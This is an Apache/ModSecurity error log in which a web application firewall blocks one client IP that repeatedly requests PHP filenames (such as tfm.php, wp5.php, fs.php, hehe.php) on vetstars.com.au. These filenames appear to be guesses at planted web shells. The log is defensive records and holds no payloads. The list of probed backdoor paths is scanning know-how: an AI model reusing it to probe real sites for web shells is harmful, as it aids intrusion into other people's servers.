[Sun Mar 29 01:28:45.701879 2026] [:error] [pid 39427:tid 39437] [client 158.23.144.198:47507] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "acgPzVvLf0RDUqcYq-Y8AQAAAAU"]
[Sun Mar 29 01:28:46.088095 2026] [:error] [pid 39427:tid 39440] [client 158.23.144.198:38287] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "acgPzlvLf0RDUqcYq-Y8AgAAAAg"]
[Sun Mar 29 01:28:46.490748 2026] [:error] [pid 39427:tid 39447] [client 158.23.144.198:64264] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "acgPzlvLf0RDUqcYq-Y8BgAAAA8"]
[Sun Mar 29 01:28:46.896538 2026] [:error] [pid 39427:tid 39438] [client 158.23.144.198:61185] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "acgPzlvLf0RDUqcYq-Y8CgAAAAY"]
[Sun Mar 29 01:28:47.281472 2026] [:error] [pid 39514:tid 39527] [client 158.23.144.198:64287] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "acgPzykUyvlQod6qQu2JIQAAAMI"]
[Sun Mar 29 01:28:47.668284 2026] [:error] [pid 39514:tid 39537] [client 158.23.144.198:41028] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "acgPzykUyvlQod6qQu2JJQAAAMw"]
[Sun Mar 29 01:28:48.081153 2026] [:error] [pid 39428:tid 39462] [client 158.23.144.198:47548] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "acgP0KXMrozFMIaP8nL2RAAAAEM"]
[Sun Mar 29 01:28:48.473986 2026] [:error] [pid 39429:tid 39509] [client 158.23.144.198:47499] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "acgP0E8pSj6sqgZaItnVlAAAAJc"]
[Sun Mar 29 01:28:48.861961 2026] [:error] [pid 39427:tid 39435] [client 158.23.144.198:41472] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "acgP0FvLf0RDUqcYq-Y8DQAAAAM"]
[Sun Mar 29 01:28:49.260196 2026] [:error] [pid 39427:tid 39437] [client 158.23.144.198:5045] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "acgP0VvLf0RDUqcYq-Y8EAAAAAU"]
[Sun Mar 29 01:28:49.669885 2026] [:error] [pid 39514:tid 39529] [client 158.23.144.198:40518] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "acgP0SkUyvlQod6qQu2JKgAAAMQ"]
[Sun Mar 29 01:28:50.065586 2026] [:error] [pid 39428:tid 39463] [client 158.23.144.198:61231] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "acgP0qXMrozFMIaP8nL2RgAAAEQ"]
[Sun Mar 29 01:28:50.449436 2026] [:error] [pid 39429:tid 39491] [client 158.23.144.198:40530] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "acgP0k8pSj6sqgZaItnVmAAAAIU"]
[Sun Mar 29 01:28:50.841884 2026] [:error] [pid 39429:tid 39489] [client 158.23.144.198:48790] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ne2026.php"] [unique_id "acgP0k8pSj6sqgZaItnVmgAAAIM"]
[Sun Mar 29 01:28:51.224175 2026] [:error] [pid 39428:tid 39466] [client 158.23.144.198:5054] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ne2026.php"] [unique_id "acgP06XMrozFMIaP8nL2SAAAAEc"]
[Sun Mar 29 01:28:51.624684 2026] [:error] [pid 39428:tid 39461] [client 158.23.144.198:37896] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ne2026.php"] [unique_id "acgP06XMrozFMIaP8nL2SQAAAEI"]
[Sun Mar 29 01:28:52.022745 2026] [:error] [pid 39429:tid 39492] [client 158.23.144.198:63679] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ne2026.php"] [unique_id "acgP1E8pSj6sqgZaItnVogAAAIY"]
[Sun Mar 29 01:28:52.406203 2026] [:error] [pid 39514:tid 39549] [client 158.23.144.198:45025] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "acgP1CkUyvlQod6qQu2JMgAAANc"]
[Sun Mar 29 01:28:52.798021 2026] [:error] [pid 39428:tid 39469] [client 158.23.144.198:45009] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "acgP1KXMrozFMIaP8nL2SwAAAEo"]
[Sun Mar 29 01:28:53.188043 2026] [:error] [pid 39514:tid 39536] [client 158.23.144.198:38282] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "acgP1SkUyvlQod6qQu2JNwAAAMs"]
[Sun Mar 29 01:28:53.569594 2026] [:error] [pid 39427:tid 39435] [client 158.23.144.198:47531] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "acgP1VvLf0RDUqcYq-Y8FwAAAAM"]
[Sun Mar 29 01:28:53.955163 2026] [:error] [pid 39514:tid 39542] [client 158.23.144.198:47518] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "acgP1SkUyvlQod6qQu2JOQAAANE"]
[Sun Mar 29 01:28:54.343600 2026] [:error] [pid 39514:tid 39550] [client 158.23.144.198:47533] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "acgP1ikUyvlQod6qQu2JPQAAANg"]
[Sun Mar 29 01:28:54.725032 2026] [:error] [pid 39427:tid 39443] [client 158.23.144.198:38288] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "acgP1lvLf0RDUqcYq-Y8GAAAAAs"]
[Sun Mar 29 01:28:55.108776 2026] [:error] [pid 39514:tid 39537] [client 158.23.144.198:40549] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "acgP1ykUyvlQod6qQu2JQAAAAMw"]
[Sun Mar 29 01:28:55.506186 2026] [:error] [pid 39514:tid 39539] [client 158.23.144.198:37894] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "acgP1ykUyvlQod6qQu2JQgAAAM4"]
[Sun Mar 29 01:28:55.893126 2026] [:error] [pid 39429:tid 39498] [client 158.23.144.198:61235] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "acgP108pSj6sqgZaItnVqAAAAIw"]
[Sun Mar 29 01:28:56.281054 2026] [:error] [pid 39429:tid 39490] [client 158.23.144.198:41071] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "acgP2E8pSj6sqgZaItnVqQAAAIQ"]
[Sun Mar 29 01:28:56.667303 2026] [:error] [pid 39428:tid 39465] [client 158.23.144.198:61206] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "acgP2KXMrozFMIaP8nL2VQAAAEY"]
[Sun Mar 29 01:28:57.071800 2026] [:error] [pid 39514:tid 39529] [client 158.23.144.198:41069] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "acgP2SkUyvlQod6qQu2JSgAAAMQ"]
[Sun Mar 29 01:28:57.455831 2026] [:error] [pid 39427:tid 39451] [client 158.23.144.198:47539] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "acgP2VvLf0RDUqcYq-Y8HQAAABM"]
[Sun Mar 29 01:28:57.869279 2026] [:error] [pid 39514:tid 39539] [client 158.23.144.198:48809] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "acgP2SkUyvlQod6qQu2JTgAAAM4"]
[Sun Mar 29 01:28:58.260081 2026] [:error] [pid 39514:tid 39542] [client 158.23.144.198:4659] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "acgP2ikUyvlQod6qQu2JTwAAANE"]
[Sun Mar 29 01:28:58.649298 2026] [:error] [pid 39514:tid 39549] [client 158.23.144.198:41051] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "acgP2ikUyvlQod6qQu2JUwAAANc"]
[Sun Mar 29 01:28:59.034429 2026] [:error] [pid 39427:tid 39455] [client 158.23.144.198:61204] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "acgP21vLf0RDUqcYq-Y8IQAAABc"]
[Sun Mar 29 01:28:59.430841 2026] [:error] [pid 39514:tid 39529] [client 158.23.144.198:64286] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "acgP2ykUyvlQod6qQu2JWQAAAMQ"]
[Sun Mar 29 01:28:59.819098 2026] [:error] [pid 39514:tid 39536] [client 158.23.144.198:63654] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "acgP2ykUyvlQod6qQu2JWgAAAMs"]
[Sun Mar 29 01:29:00.209788 2026] [:error] [pid 39427:tid 39443] [client 158.23.144.198:37942] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acgP3FvLf0RDUqcYq-Y8JQAAAAs"]
[Sun Mar 29 01:29:00.596395 2026] [:error] [pid 39427:tid 39444] [client 158.23.144.198:34995] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acgP3FvLf0RDUqcYq-Y8JgAAAAw"]
[Sun Mar 29 01:29:00.990039 2026] [:error] [pid 39428:tid 39477] [client 158.23.144.198:37940] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acgP3KXMrozFMIaP8nL2VgAAAFI"]
[Sun Mar 29 01:29:01.403220 2026] [:error] [pid 39427:tid 39451] [client 158.23.144.198:4995] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acgP3VvLf0RDUqcYq-Y8KQAAABM"]
[Sun Mar 29 01:29:01.787217 2026] [:error] [pid 39514:tid 39549] [client 158.23.144.198:41058] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "acgP3SkUyvlQod6qQu2JZAAAANc"]
[Sun Mar 29 01:29:02.184838 2026] [:error] [pid 39427:tid 39432] [client 158.23.144.198:38281] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "acgP3lvLf0RDUqcYq-Y8LAAAAAA"]
[Sun Mar 29 01:29:02.566371 2026] [:error] [pid 39514:tid 39550] [client 158.23.144.198:61202] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "acgP3ikUyvlQod6qQu2JbQAAANg"]
[Sun Mar 29 01:29:02.955570 2026] [:error] [pid 39514:tid 39524] [client 158.23.144.198:44999] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "acgP3ikUyvlQod6qQu2JcAAAAMA"]
[Sun Mar 29 01:29:03.338505 2026] [:error] [pid 39427:tid 39437] [client 158.23.144.198:41506] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/green.php"] [unique_id "acgP31vLf0RDUqcYq-Y8MAAAAAU"]
[Sun Mar 29 01:29:03.722205 2026] [:error] [pid 39514:tid 39544] [client 158.23.144.198:40526] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/green.php"] [unique_id "acgP3ykUyvlQod6qQu2JdAAAANM"]
[Sun Mar 29 01:29:04.110106 2026] [:error] [pid 39427:tid 39451] [client 158.23.144.198:5040] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/green.php"] [unique_id "acgP4FvLf0RDUqcYq-Y8NQAAABM"]
[Sun Mar 29 01:29:04.505425 2026] [:error] [pid 39514:tid 39536] [client 158.23.144.198:38332] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/green.php"] [unique_id "acgP4CkUyvlQod6qQu2JegAAAMs"]
[Sun Mar 29 01:29:04.887895 2026] [:error] [pid 39429:tid 39501] [client 158.23.144.198:61826] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hehe.php"] [unique_id "acgP4E8pSj6sqgZaItnVrgAAAI8"]
[Sun Mar 29 01:29:05.274661 2026] [:error] [pid 39429:tid 39506] [client 158.23.144.198:41082] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hehe.php"] [unique_id "acgP4U8pSj6sqgZaItnVrwAAAJQ"]
[Sun Mar 29 01:29:05.669878 2026] [:error] [pid 39429:tid 39499] [client 158.23.144.198:45036] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hehe.php"] [unique_id "acgP4U8pSj6sqgZaItnVsAAAAI0"]
[Sun Mar 29 01:29:53.042844 2026] [:error] [pid 39514:tid 39549] [client 158.23.144.198:37908] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acgQESkUyvlQod6qQu2KBgAAANc"]
[Sun Mar 29 01:29:53.468383 2026] [:error] [pid 39514:tid 39547] [client 158.23.144.198:34556] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acgQESkUyvlQod6qQu2KBwAAANY"]
[Sun Mar 29 01:29:53.856266 2026] [:error] [pid 39514:tid 39550] [client 158.23.144.198:35999] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acgQESkUyvlQod6qQu2KCQAAANg"]
[Sun Mar 29 01:29:54.252369 2026] [:error] [pid 39427:tid 39437] [client 158.23.144.198:42079] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acgQElvLf0RDUqcYq-Y8ugAAAAU"]
